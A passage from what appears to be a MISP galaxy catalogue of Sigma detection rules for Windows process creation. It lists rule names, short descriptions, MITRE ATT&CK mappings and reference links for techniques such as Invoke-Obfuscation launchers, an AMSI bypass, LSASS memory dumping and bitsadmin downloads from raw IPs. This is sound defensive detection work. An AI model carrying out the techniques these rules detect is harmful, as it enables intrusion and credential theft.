Table 9959. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_wlm_powershell_shadowcopy_deletion.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_wlm_powershell_shadowcopy_deletion.yml</a></td>
</tr>
</tbody>
</table>

HackTool - DInjector PowerShell Cradle Execution

Detects the use of the Dinject PowerShell cradle based on the specific flags

The tag is: `misp-galaxy:sigma-rules="HackTool - DInjector PowerShell Cradle Execution"`

View relationships graph

HackTool - DInjector PowerShell Cradle Execution has relationships with:


Table 9960. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/snovvcrash/DInjector">https://github.com/snovvcrash/DInjector</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_dinjector.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_dinjector.yml</a></td>
</tr>
</tbody>
</table>
**Suspicious Hacktool Execution - Imphash**

Detects the execution of different Windows based hacktools via their import hash (imphash) even if the files have been renamed

The tag is: `misp-galaxy:sigma-rules="Suspicious Hacktool Execution - Imphash"`

**View relationships graph**

Suspicious Hacktool Execution - Imphash has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003"` with estimative-language:likelihood-probability="almost-certain"

**Table 9961. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_execution_via_imphashes.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_execution_via_imphashes.yml</a></td>
</tr>
</tbody>
</table>

**Invoke-Obfuscation VAR+ Launcher**

Detects Obfuscated use of Environment Variables to execute PowerShell

The tag is: `misp-galaxy:sigma-rules="Invoke-Obfuscation VAR+ Launcher"`

**View relationships graph**

Invoke-Obfuscation VAR+ Launcher has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 9962. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_var.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_var.yml</a></td>
</tr>
</tbody>
</table>
Uncommon Child Processes Of SndVol.exe

Detects potentially uncommon child processes of SndVol.exe (the Windows volume mixer)

The tag is: misp-galaxy:sigma-rules="Uncommon Child Processes Of SndVol.exe"

Table 9963. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/Max_Mal_/status/1661322732456353792">https://twitter.com/Max_Mal_/status/1661322732456353792</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sndvol_susp_child_processes.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sndvol_susp_child_processes.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Electron Application Child Processes

Detects suspicious child processes of electron apps (teams, discord, slack, etc.). This could be a potential sign of "asar" file tampering (See reference section for more information) or binary execution proxy through specific CLI arguments (see related rule)

The tag is: misp-galaxy:sigma-rules="Suspicious Electron Application Child Processes"

Table 9964. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Msedge/">https://lolbas-project.github.io/lolbas/Binaries/Msedge/</a></td>
</tr>
<tr>
<td><a href="https://taggart-tech.com/quasar-electron/">https://taggart-tech.com/quasar-electron/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf">https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Teams/">https://lolbas-project.github.io/lolbas/Binaries/Teams/</a></td>
</tr>
<tr>
<td><a href="https://positive.security/blog/ms-officecmd-rce">https://positive.security/blog/ms-officecmd-rce</a></td>
</tr>
<tr>
<td><a href="https://github.com/mttaggart/quasar">https://github.com/mttaggart/quasar</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/msedgewebview2/">https://lolbas-project.github.io/lolbas/Binaries/msedgewebview2/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_electron_app_children.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_electron_app_children.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Persistence Via VMwareToolBoxCmd.EXE VM State Change Script

Detects execution of the "VMwareToolBoxCmd.exe" with the "script" and "set" flag to setup a specific script that's located in a potentially suspicious location to run for a specific VM state

The tag is: misp-galaxy:sigma-rules="Suspicious Persistence Via VMwareToolBoxCmd.EXE VM State Change Script"

View relationships graph
Suspicious Persistence Via VMwareToolBoxCmd.EXE VM State Change Script has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 9965. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://bohops.com/2021/10/08/analyzing-and-detecting-a-vmtools-persistence-technique/">https://bohops.com/2021/10/08/analyzing-and-detecting-a-vmtools-persistence-technique/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vmware_toolbox_cmd_persistence_susp.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vmware_toolbox_cmd_persistence_susp.yml</a></td>
</tr>
</tbody>
</table>

**Potential Persistence Via Powershell Search Order Hijacking - Task**

Detects suspicious powershell execution via a schedule task where the command ends with an suspicious flags to hide the powershell instance instead of executeing scripts or commands. This could be a sign of persistence via PowerShell "Get-Variable" technique as seen being used in Colibri Loader

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Powershell Search Order Hijacking - Task"*

View relationships graph

Potential Persistence Via Powershell Search Order Hijacking - Task has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9966. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_powershell_persistence.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_powershell_persistence.yml</a></td>
</tr>
</tbody>
</table>

**HackTool - PCHunter Execution**

Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff

The tag is: *misp-galaxy:sigma-rules="HackTool - PCHunter Execution"*
HackTool - PCHunter Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 9967. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.xuetr.com/">http://www.xuetr.com/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_pchunter.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_pchunter.yml</a></td>
</tr>
</tbody>
</table>

Invoke-Obfuscation STDIN+ Launcher

Detects Obfuscated use of stdin to execute PowerShell

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation STDIN+ Launcher"

View relationships graph

Invoke-Obfuscation STDIN+ Launcher has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9968. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_stdin.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_stdin.yml</a></td>
</tr>
</tbody>
</table>
Local Accounts Discovery

Local accounts, System Owner/User discovery using operating systems utilities

The tag is: `misp-galaxy:sigma-rules="Local Accounts Discovery"`

View relationships graph

Local Accounts Discovery has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Local Account - T1087.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9969. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fcd3742bfcf365fee2a9/atomics/T1033/T1033.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fcd3742bfcf365fee2a9/atomics/T1033/T1033.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_local_system_owner_account_discovery.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_local_system_owner_account_discovery.yml</a></td>
</tr>
</tbody>
</table>

File Download Via Windows Defender MpCmpRun.EXE

Detects the use of Windows Defender MpCmdRun.EXE to download files

The tag is: `misp-galaxy:sigma-rules="File Download Via Windows Defender MpCmpRun.EXE"`

View relationships graph

File Download Via Windows Defender MpCmpRun.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 9970. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/">https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/</a></td>
</tr>
</tbody>
</table>
Malicious Base64 Encoded PowerShell Keywords in Command Lines

Detects base64 encoded strings used in hidden malicious PowerShell command lines

The tag is: misp-galaxy:sigma-rules="Malicious Base64 Encoded PowerShell Keywords in Command Lines"

View relationships graph

Malicious Base64 Encoded PowerShell Keywords in Command Lines has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9971. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_hidden_b64_cmd.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_hidden_b64_cmd.yml</a></td>
</tr>
</tbody>
</table>

Arbitrary Shell Command Execution Via Settingcontent-Ms

The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create "shortcuts" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries.

The tag is: misp-galaxy:sigma-rules="Arbitrary Shell Command Execution Via Settingcontent-Ms"

View relationships graph

Arbitrary Shell Command Execution Via Settingcontent-Ms has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

Table 9972. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39">https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_arbitrary_shell_execution_via_settingcontent.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_arbitrary_shell_execution_via_settingcontent.yml</a></td>
</tr>
</tbody>
</table>
New Process Created Via Wmi.EXE

Detects new process creation using WMIC via the "process call create" flag

The tag is: misp-galaxy:sigma-rules="New Process Created Via Wmi.EXE"

View relationships graph

New Process Created Via Wmi.EXE has relationships with:


Table 9973. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.sans.org/blog/wmic-for-incident-response/">https://www.sans.org/blog/wmic-for-incident-response/</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/84215139ee5127f8e3a117e063b604812bd71928/atomics/T1047/T1047.md#atomic-test-5---wmi-execute-local-process">https://github.com/redcanaryco/atomic-red-team/blob/84215139ee5127f8e3a117e063b604812bd71928/atomics/T1047/T1047.md#atomic-test-5---wmi-execute-local-process</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_process_creation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_process_creation.yml</a></td>
</tr>
</tbody>
</table>

Suspicious IIS URL GlobalRules Rewrite Via AppCmd

Detects usage of "appcmd" to create new global URL rewrite rules. This behaviour has been observed being used by threat actors to add new rules so they can access their webshells.

The tag is: misp-galaxy:sigma-rules="Suspicious IIS URL GlobalRules Rewrite Via AppCmd"

Table 9974. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/malmoeb/status/1616702107242971144">https://twitter.com/malmoeb/status/1616702107242971144</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_appcmd_susp_rewrite_rule.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_appcmd_susp_rewrite_rule.yml</a></td>
</tr>
</tbody>
</table>

Potential AMSI Bypass Via .NET Reflection

Detects Request to "amsiInitFailed" that can be used to disable AMSI Scanning

The tag is: misp-galaxy:sigma-rules="Potential AMSI Bypass Via .NET Reflection"

View relationships graph

Potential AMSI Bypass Via .NET Reflection has relationships with:
Reg Add Suspicious Paths

Detected when an adversary uses the reg.exe utility to add or modify new keys or subkeys.

The tag is: `misp-galaxy:sigma-rules="Reg Add Suspicious Paths"`

View relationships graph

Reg Add Suspicious Paths has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with `estimative-language:likelihood-probability="almost-certain"`
- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with `estimative-language:likelihood-probability="almost-certain"`

Malicious PE Execution by Microsoft Visual Studio Debugger

There is an option for a MS VS Just-In-Time Debugger "vsjitdebugger.exe" to launch specified executable and attach a debugger. This option may be used adversaries to execute malicious code by signed verified binary. The debugger is installed alongside with Microsoft Visual Studio package.

The tag is: `misp-galaxy:sigma-rules="Malicious PE Execution by Microsoft Visual Studio Debugger"`
Malicious PE Execution by Microsoft Visual Studio Debugger has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9977. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Vsjitdebugger/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/Vsjitdebugger/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://twitter.com/pabraeken/status/990758590020452353">https://twitter.com/pabraeken/status/990758590020452353</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_vsjitdebugger_bin.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_vsjitdebugger_bin.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

**Schtasks From Suspicious Folders**

Detects scheduled task creations that have suspicious action command and folder combinations

The tag is: misp-galaxy:sigma-rules="Schtasks From Suspicious Folders"

Table 9978. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_folder_combos.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_folder_combos.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

**Delete All Scheduled Tasks**

Detects the usage of schtasks with the delete flag and the asterisk symbol to delete all tasks from the schedule of the local computer, including tasks scheduled by other users.

The tag is: misp-galaxy:sigma-rules="Delete All Scheduled Tasks"
Hidden Powershell in Link File Pattern

Detects events that appear when a user click on a link file with a powershell command in it

The tag is: *misp-galaxy: sigma-rules* = ”Hidden Powershell in Link File Pattern”

View relationships graph

Hidden Powershell in Link File Pattern has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern* = ”PowerShell - T1059.001” with estimative-language:likelihood-probability = ”almost-certain”

Node Process Executions

Detects the execution of other scripts using the Node executable packaged with Adobe Creative Cloud

The tag is: *misp-galaxy: sigma-rules* = ”Node Process Executions”

View relationships graph

Node Process Executions has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern* = ”Trusted Developer Utilities Proxy Execution - T1127” with estimative-language:likelihood-probability = ”almost-certain”
- related-to: *misp-galaxy: mitre-attack-pattern* = ”JavaScript - T1059.007” with estimative-language:likelihood-probability = ”almost-certain”

---

**Table 9979. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-delete" alt="GitHub" /></td>
</tr>
<tr>
<td><img src="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_delete_all.yml" alt="GitHub" /></td>
</tr>
</tbody>
</table>

**Table 9980. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="https://www.x86matthew.com/view_post?id=embed_exe_lnk" alt="GitHub" /></td>
</tr>
<tr>
<td><img src="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_embed_exe_lnk.yml" alt="GitHub" /></td>
</tr>
</tbody>
</table>

**Table 9981. Table References**

---
Potential CobaltStrike Process Patterns

Detects potential process patterns related to Cobalt Strike beacon activity

The tag is: misp-galaxy:sigma-rules="Potential CobaltStrike Process Patterns"

Table 9982. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://hausec.com/2021/07/26/cobalt-strike-and-tradecraft/">https://hausec.com/2021/07/26/cobalt-strike-and-tradecraft/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_cobaltstrike_process_patterns.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_cobaltstrike_process_patterns.yml</a></td>
</tr>
</tbody>
</table>

DriverQuery.EXE Execution

Detect usage of the "driverquery" utility. Which can be used to perform reconnaissance on installed drivers

The tag is: misp-galaxy:sigma-rules="DriverQuery.EXE Execution"

Table 9983. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/">https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/</a></td>
</tr>
<tr>
<td><a href="https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/">https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html">https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_driverquery_usage.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_driverquery_usage.yml</a></td>
</tr>
</tbody>
</table>

Process Memory Dump via RdrLeakDiag.EXE

Detects the use of the Microsoft Windows Resource Leak Diagnostic tool "rdrleakdiag.exe" to dump
process memory

The tag is: misp-galaxy:sigma-rules="Process Memory Dump via RdrLeakDiag.EXE"

View relationships graph

Process Memory Dump via RdrLeakDiag.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 9984. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Rdrleakdiag/">https://lolbas-project.github.io/lolbas/Binaries/Rdrleakdiag/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/0gtweet/status/1299071304805560321?s=21">https://twitter.com/0gtweet/status/1299071304805560321?s=21</a></td>
</tr>
<tr>
<td><a href="https://www.pureid.io/dumping-abusing-windows-credentials-part-1/">https://www.pureid.io/dumping-abusing-windows-credentials-part-1/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rdrleakdiag_process_dumping.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rdrleakdiag_process_dumping.yml</a></td>
</tr>
</tbody>
</table>

Suspicous Download From Direct IP Via Bitsadmin

Detects usage of bitsadmin downloading a file using an URL that contains an IP

The tag is: misp-galaxy:sigma-rules="Suspicious Download From Direct IP Via Bitsadmin"

View relationships graph

Suspicous Download From Direct IP Via Bitsadmin has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 9985. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/">https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/</a></td>
</tr>
<tr>
<td><a href="https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin">https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/22264">https://isc.sans.edu/diary/22264</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_direct_ip.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_direct_ip.yml</a></td>
</tr>
</tbody>
</table>
PsExec Service Child Process Execution as LOCAL SYSTEM

Detects suspicious launch of the PSEXESVC service on this system and a sub process run as LOCAL_SYSTEM (-s), which means that someone remotely started a command on this system running it with highest privileges and not only the privileges of the login user account (e.g. the administrator account)

The tag is: misp-galaxy:sigma-rules="PsExec Service Child Process Execution as LOCAL SYSTEM"

Table 9986. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/psexec">https://docs.microsoft.com/en-us/sysinternals/downloads/psexec</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexesvc_as_system.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexesvc_as_system.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Mshta.EXE Execution Patterns

Detects suspicious mshta process execution patterns

The tag is: misp-galaxy:sigma-rules="Suspicious Mshta.EXE Execution Patterns"

View relationships graph

Suspicious Mshta.EXE Execution Patterns has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

Table 9987. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/HTML_Application">https://en.wikipedia.org/wiki/HTML_Application</a></td>
</tr>
<tr>
<td><a href="https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/">https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/</a></td>
</tr>
<tr>
<td><a href="https://www.echotrail.io/insights/search/mshta.exe">https://www.echotrail.io/insights/search/mshta.exe</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_susp_pattern.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_susp_pattern.yml</a></td>
</tr>
</tbody>
</table>

Suspicious File Encoded To Base64 Via Certutil.EXE

Detects the execution of certutil with the "encode" flag to encode a file to base64 where the extensions of the file is suspicious

The tag is: misp-galaxy:sigma-rules="Suspicious File Encoded To Base64 Via Certutil.EXE"

View relationships graph
Suspicious File Encoded To Base64 Via Certutil.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

### Table 9988. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.virustotal.com/gui/file/427616528b7dbc4a6057ac89eb174a3a90f7abcf3f34e5a359b7a910d82f7a72/behavior">https://www.virustotal.com/gui/file/427616528b7dbc4a6057ac89eb174a3a90f7abcf3f34e5a359b7a910d82f7a72/behavior</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/4abe1395a09fda06d897a9c4eb247278c1b6cddda5d126ce5b3f4f499e3b8fa2/behavior">https://www.virustotal.com/gui/file/4abe1395a09fda06d897a9c4eb247278c1b6cddda5d126ce5b3f4f499e3b8fa2/behavior</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/34de4c8beded481a4084a1fd77855c3e977e8ac643e5c5842d0f15f7f9b9086f/behavior">https://www.virustotal.com/gui/file/34de4c8beded481a4084a1fd77855c3e977e8ac643e5c5842d0f15f7f9b9086f/behavior</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/35c22725a92d5cb1016b09421c0a6cdbhfd860fd4778b3313669b057d4a131cb7/behavior">https://www.virustotal.com/gui/file/35c22725a92d5cb1016b09421c0a6cdbhfd860fd4778b3313669b057d4a131cb7/behavior</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_encode_susp_extensions.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_encode_susp_extensions.yml</a></td>
</tr>
</tbody>
</table>

### Dynamic .NET Compilation Via Csc.EXE

Detects execution of "csc.exe" to compile .NET code. Attackers often leverage this to compile code on the fly and use it in other stages.

The tag is: **misp-galaxy:sigma-rules="Dynamic .NET Compilation Via Csc.EXE"**

### View relationships graph

Dynamic .NET Compilation Via Csc.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"

### Table 9989. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/b27a3cb25025161d49ac861cb216db68c46a3537/atomics/T1027.004/T1027.004.md#atomic-test-1---compile-after-delivery-using-cscexe">https://github.com/redcanaryco/atomic-red-team/blob/b27a3cb25025161d49ac861cb216db68c46a3537/atomics/T1027.004/T1027.004.md#atomic-test-1---compile-after-delivery-using-cscexe</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/gN3mes1s/status/1206874118282448897">https://twitter.com/gN3mes1s/status/1206874118282448897</a></td>
</tr>
<tr>
